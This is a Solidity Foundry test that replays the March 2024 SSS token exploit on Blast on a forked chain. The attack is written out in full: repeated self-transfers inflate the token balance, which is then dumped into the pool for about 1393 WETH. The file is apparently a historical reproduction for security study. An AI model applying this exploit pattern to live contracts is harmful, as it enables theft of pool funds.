src/test/2024-03/SSS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "../basetest.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost: $4.8M
7// Attacker: 0x6a89a8C67B5066D59BF4D81d59f70C3976faCd0A
8// Attack Contract: 0xDed85d83Bf06069c0bD5AA792234b5015D5410A9
9// Vulnerable Contract: 0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed
10// Attack Tx: https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6
11 
12// @Analyses
13// https://twitter.com/SSS_HQ/status/1771054306520867242
14// https://twitter.com/dot_pengun/status/1770989208125272481
15 
16interface ISSS is IERC20 {
17    function maxAmountPerTx() external view returns (uint256);
18    function burn(
19        uint256
20    ) external;
21}
22 
23contract SSSExploit is BaseTestWithBalanceLog {
24    address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;
25    IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));
26    ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);
27    Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);
28    Uni_Pair_V2 private sssPool = Uni_Pair_V2(POOL);
29 
30    uint256 ethFlashAmt = 1 ether;
31    uint256 expectedETHAfter = 1393.20696066122859944 ether;
32 
33    function setUp() public {
34        vm.createSelectFork("blast", 1_110_245);
35        WETH.approve(address(ROUTER_V2), type(uint256).max);
36        SSS.approve(address(ROUTER_V2), type(uint256).max);
37        fundingToken = address(WETH);
38    }
39 
40    function getPath(
41        bool buy
42    ) internal view returns (address[] memory path) {
43        path = new address[](2);
44        path[0] = buy ? address(WETH) : address(SSS);
45        path[1] = buy ? address(SSS) : address(WETH);
46    }
47 
48    function testExploit() public balanceLog {
49        //Emulate flashloan here with deal
50        vm.deal(address(this), 0);
51        vm.deal(address(this), ethFlashAmt);
52        WETH.deposit{value: ethFlashAmt}();
53 
54        //Buy 1 eth of tokens
55        ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56            ethFlashAmt, 0, getPath(true), address(this), block.timestamp
57        );
58 
59        //Transfer to self until balance reaches target bal
60        uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];
61        while (SSS.balanceOf(address(this)) < targetBal) {
62            SSS.transfer(address(this), SSS.balanceOf(address(this)));
63        }
64 
65        //Burn excess tokens above target to avoid OVERFLOW error on swap on pair
66        SSS.burn(SSS.balanceOf(address(this)) - targetBal);
67        assertEq(SSS.balanceOf(address(this)), targetBal, "we exceeded target");
68 
69        //Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls
70        uint256 tokensLeft = targetBal;
71        uint256 maxAmountPerTx = SSS.maxAmountPerTx();
72        uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);
73        while (tokensLeft > 0) {
74            uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;
75            SSS.transfer(POOL, toSell);
76            tokensLeft -= toSell;
77        }
78 
79        //Use swap function in pool to swap to weth
80        uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];
81        sssPool.swap(targetETH, 0, address(this), new bytes(0));
82 
83        //Emulate paying back flashloan
84        WETH.transfer(address(1), ethFlashAmt);
85 
86        assertEq(WETH.balanceOf(address(this)), expectedETHAfter, "Not expected WETH BAL");
87        assertEq(SSS.balanceOf(address(this)), 0, "All SSS tokens didn't get sold");
88    }
89}